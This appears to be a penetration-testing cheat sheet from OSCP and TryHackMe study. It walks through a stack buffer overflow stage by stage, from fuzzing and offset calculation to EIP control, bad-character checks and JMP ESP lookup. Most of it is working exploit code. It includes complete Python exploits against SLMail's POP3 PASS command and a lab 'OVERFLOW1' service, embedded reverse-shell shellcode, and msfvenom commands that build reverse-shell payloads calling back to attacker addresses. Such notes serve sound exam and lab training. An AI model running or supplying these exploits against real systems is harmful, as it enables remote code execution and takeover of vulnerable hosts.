BufferOverflow

Buffer Overflow

Fuzzing

SLMailOSCPTryHackMeLocal

#!/usr/bin/python2.7
# for SLmail
import socket
import sys
import time

size = 100
target = '192.168.0.118'

while(size < 5000):
   try:

      print "\nSending evil buffer with %s bytes" % size
      filler = "A" * size

      s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
      s.connect((target, 110))
      data = s.recv(1024)
      s.send('User jakerchungo' + '\r\n')
      data = s.recv(1024)
      s.send('PASS ' + filler + '\r\n' )
      s.close()

      size += 100
      time.sleep(3)

   except:
      print "\nCould not connect!"
      sys.exit()

#!/usr/bin/python2.7

import socket,sys

address = '192.168.0.181'
port = 2233
buffer = b'A' * 3000

try:
        print '[+] Sending buffer'
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((address,port))
        s.send(buffer + '\r\n')
except:
        print '[!] Unable to connect to the application.'
        sys.exit(0)
finally:
        s.close()

#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.119.84"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

#!/usr/bin/python3

with open("exploit.txt", "wb") as f:
    filler = b"A" * 1400
    f.write(filler)

Calculate Offset

PatternSLMailTryHackMe

msf-pattern_create -l 2700 
msf-pattern_offset -q 39694438

#!/usr/bin/python2.7
# for SLmail
import socket
import sys
import time

target = '192.168.0.118'

try:
   print "\nSending evil pattern"
   pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9"

   s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
   s.connect((target, 110))
   data = s.recv(1024)
   s.send('User jakerchungo' + '\r\n')
   data = s.recv(1024)
   s.send('PASS ' + pattern + '\r\n' )
   s.close()

except:
   print "\nCould not connect!"
   sys.exit()

#!/usr/bin/env python3
import socket

ip = "192.168.0.163"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6A..."
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

EIP Control

SLMailTryHackMe

#!/usr/bin/python2.7
# for SLmail
import socket
import sys
import time

target = '192.168.0.118'

try:
   print "\nCheck EIP adress equal to 42424242"
   filler = "A" * 2606
   eip = "B" * 4
   content = filler + eip

   s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
   s.connect((target, 110))
   data = s.recv(1024)
   s.send('User jakerchungo' + '\r\n')
   data = s.recv(1024)
   s.send('PASS ' + content + '\r\n' )
   s.close()

except:
   print "\nCould not connect!"
   sys.exit()

#!/usr/bin/env python3
import socket

ip = "192.168.0.163"
port = 1337

prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Badchars

PythonPythonTHMPlaintextLocalTryHackMe

#!/usr/bin/env python3

import sys

sys.stdout.write("badchars = (\n\tb\"")

pos = 0
for x in range(0,256):
    sys.stdout.write( "\\x" + '{0:02x}'.format(x))
    if pos == 15:
        pos = 0
        if x < 255:
            sys.stdout.write("\"\n\tb\"")
    else:
        pos += 1
sys.stdout.write("\")\n")

#!/usr/bin/env python3
for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

#!/usr/bin/python3

with open("exploit.txt", "wb") as f:

    bad = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1b\x1c\x1d\x1e\x1f"
    bad += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
    bad += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
    bad += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
    bad += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9f"
    bad += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbd\xbe\xbf"
    bad += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
    bad += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"


    filler = b"A" * 98
    eip = b"B" * 4
    f.write(filler + eip + bad)

#!/usr/bin/env python3
import socket

ip = "192.168.0.163"
port = 1337

prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Find ESP JMP

Monaobjdump

!mona modules
!mona find -s "\xff\xe4" -m "SLMFC.DLL"
!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"

objdump -d vuln.exe |grep -i esp |grep -i jmp

Make ShellCode

LinuxWindows

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.119.126 LPORT=443 -b "\x00\x0a\x0d\x20\x37\x39\x7a\xc2" –e x86/shikata_ga_nai -f raw -o exploit.txt

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.214 LPORT=443 -a x86 --platform windows -b "\x00\x0a\x0d" -v shellcode -f py -o shellcode.py
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.102 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c -v payload

Make Exploit

SLMailTryHackMe

#!/usr/bin/python2.7
# for SLmail
import socket
import sys
import time

target = '192.168.0.118'

try:
   print "\nSending evil pattern"

   shellcode =  b""
   shellcode += b"\xd9\xc1\xbe\xb2\xe7\xb6\x2c\xd9\x74\x24\xf4"
   shellcode += b"\x5b\x2b\xc9\xb1\x52\x31\x73\x17\x83\xc3\x04"
   shellcode += b"\x03\xc1\xf4\x54\xd9\xd9\x13\x1a\x22\x21\xe4"
   shellcode += b"\x7b\xaa\xc4\xd5\xbb\xc8\x8d\x46\x0c\x9a\xc3"
   shellcode += b"\x6a\xe7\xce\xf7\xf9\x85\xc6\xf8\x4a\x23\x31"
   shellcode += b"\x37\x4a\x18\x01\x56\xc8\x63\x56\xb8\xf1\xab"
   shellcode += b"\xab\xb9\x36\xd1\x46\xeb\xef\x9d\xf5\x1b\x9b"
   shellcode += b"\xe8\xc5\x90\xd7\xfd\x4d\x45\xaf\xfc\x7c\xd8"
   shellcode += b"\xbb\xa6\x5e\xdb\x68\xd3\xd6\xc3\x6d\xde\xa1"
   shellcode += b"\x78\x45\x94\x33\xa8\x97\x55\x9f\x95\x17\xa4"
   shellcode += b"\xe1\xd2\x90\x57\x94\x2a\xe3\xea\xaf\xe9\x99"
   shellcode += b"\x30\x25\xe9\x3a\xb2\x9d\xd5\xbb\x17\x7b\x9e"
   shellcode += b"\xb0\xdc\x0f\xf8\xd4\xe3\xdc\x73\xe0\x68\xe3"
   shellcode += b"\x53\x60\x2a\xc0\x77\x28\xe8\x69\x2e\x94\x5f"
   shellcode += b"\x95\x30\x77\x3f\x33\x3b\x9a\x54\x4e\x66\xf3"
   shellcode += b"\x99\x63\x98\x03\xb6\xf4\xeb\x31\x19\xaf\x63"
   shellcode += b"\x7a\xd2\x69\x74\x7d\xc9\xce\xea\x80\xf2\x2e"
   shellcode += b"\x23\x47\xa6\x7e\x5b\x6e\xc7\x14\x9b\x8f\x12"
   shellcode += b"\xba\xcb\x3f\xcd\x7b\xbb\xff\xbd\x13\xd1\x0f"
   shellcode += b"\xe1\x04\xda\xc5\x8a\xaf\x21\x8e\x74\x87\x29"
   shellcode += b"\x98\x1d\xda\x29\x25\x65\x53\xcf\x4f\x89\x32"
   shellcode += b"\x58\xf8\x30\x1f\x12\x99\xbd\xb5\x5f\x99\x36"
   shellcode += b"\x3a\xa0\x54\xbf\x37\xb2\x01\x4f\x02\xe8\x84"
   shellcode += b"\x50\xb8\x84\x4b\xc2\x27\x54\x05\xff\xff\x03"
   shellcode += b"\x42\x31\xf6\xc1\x7e\x68\xa0\xf7\x82\xec\x8b"
   shellcode += b"\xb3\x58\xcd\x12\x3a\x2c\x69\x31\x2c\xe8\x72"
   shellcode += b"\x7d\x18\xa4\x24\x2b\xf6\x02\x9f\x9d\xa0\xdc"
   shellcode += b"\x4c\x74\x24\x98\xbe\x47\x32\xa5\xea\x31\xda"
   shellcode += b"\x14\x43\x04\xe5\x99\x03\x80\x9e\xc7\xb3\x6f"
   shellcode += b"\x75\x4c\xc3\x25\xd7\xe5\x4c\xe0\x82\xb7\x10"
   shellcode += b"\x13\x79\xfb\x2c\x90\x8b\x84\xca\x88\xfe\x81"
   shellcode += b"\x97\x0e\x13\xf8\x88\xfa\x13\xaf\xa9\x2e"

   filler = "A" * 2606
   eip = "\x8f\x35\x4a\x5f"
   nops = "\x90" * 16
   content = filler + eip + nops + shellcode

   s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
   s.connect((target, 110))
   data = s.recv(1024)
   s.send('User jakerchungo' + '\r\n')
   data = s.recv(1024)
   s.send('PASS ' + content + '\r\n' )
   s.close()

except:
   print "\nCould not connect!"
   sys.exit()

#!/usr/bin/env python3
import socket

ip = "192.168.0.163"
port = 1337

prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "\xaf\x11\x50\x62"
padding = "\x90" * 16
payload = ("\xbe\x45\x12\xd9\xd2\xda\xc5\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"
"\x52\x83\xef\xfc\x31\x77\x0e\x03\x32\x1c\x3b\x27\x40\xc8\x39"
"\xc8\xb8\x09\x5e\x40\x5d\x38\x5e\x36\x16\x6b\x6e\x3c\x7a\x80"
"\x05\x10\x6e\x13\x6b\xbd\x81\x94\xc6\x9b\xac\x25\x7a\xdf\xaf"
"\xa5\x81\x0c\x0f\x97\x49\x41\x4e\xd0\xb4\xa8\x02\x89\xb3\x1f"
"\xb2\xbe\x8e\xa3\x39\x8c\x1f\xa4\xde\x45\x21\x85\x71\xdd\x78"
"\x05\x70\x32\xf1\x0c\x6a\x57\x3c\xc6\x01\xa3\xca\xd9\xc3\xfd"
"\x33\x75\x2a\x32\xc6\x87\x6b\xf5\x39\xf2\x85\x05\xc7\x05\x52"
"\x77\x13\x83\x40\xdf\xd0\x33\xac\xe1\x35\xa5\x27\xed\xf2\xa1"
"\x6f\xf2\x05\x65\x04\x0e\x8d\x88\xca\x86\xd5\xae\xce\xc3\x8e"
"\xcf\x57\xae\x61\xef\x87\x11\xdd\x55\xcc\xbc\x0a\xe4\x8f\xa8"
"\xff\xc5\x2f\x29\x68\x5d\x5c\x1b\x37\xf5\xca\x17\xb0\xd3\x0d"
"\x57\xeb\xa4\x81\xa6\x14\xd5\x88\x6c\x40\x85\xa2\x45\xe9\x4e"
"\x32\x69\x3c\xc0\x62\xc5\xef\xa1\xd2\xa5\x5f\x4a\x38\x2a\xbf"
"\x6a\x43\xe0\xa8\x01\xbe\x63\x17\x7d\xc0\x15\xff\x7c\xc0\xc8"
"\xa3\x09\x26\x80\x4b\x5c\xf1\x3d\xf5\xc5\x89\xdc\xfa\xd3\xf4"
"\xdf\x71\xd0\x09\x91\x71\x9d\x19\x46\x72\xe8\x43\xc1\x8d\xc6"
"\xeb\x8d\x1c\x8d\xeb\xd8\x3c\x1a\xbc\x8d\xf3\x53\x28\x20\xad"
"\xcd\x4e\xb9\x2b\x35\xca\x66\x88\xb8\xd3\xeb\xb4\x9e\xc3\x35"
"\x34\x9b\xb7\xe9\x63\x75\x61\x4c\xda\x37\xdb\x06\xb1\x91\x8b"
"\xdf\xf9\x21\xcd\xdf\xd7\xd7\x31\x51\x8e\xa1\x4e\x5e\x46\x26"
"\x37\x82\xf6\xc9\xe2\x06\x16\x28\x26\x73\xbf\xf5\xa3\x3e\xa2"
"\x05\x1e\x7c\xdb\x85\xaa\xfd\x18\x95\xdf\xf8\x65\x11\x0c\x71"
"\xf5\xf4\x32\x26\xf6\xdc")
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Mona

ConfigDistanceBadCharsFind JMP

!mona config -set workingfolder c:\mona\%p

!mona findmsp -distance 6F43396E
#result:
EIP contains normal pattern : 0x6f43396e (offset 1978)

!mona bytearray -b "\x00"
!mona compare -f C:\mona\oscp\bytearray.bin -a <ESPaddress>

!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"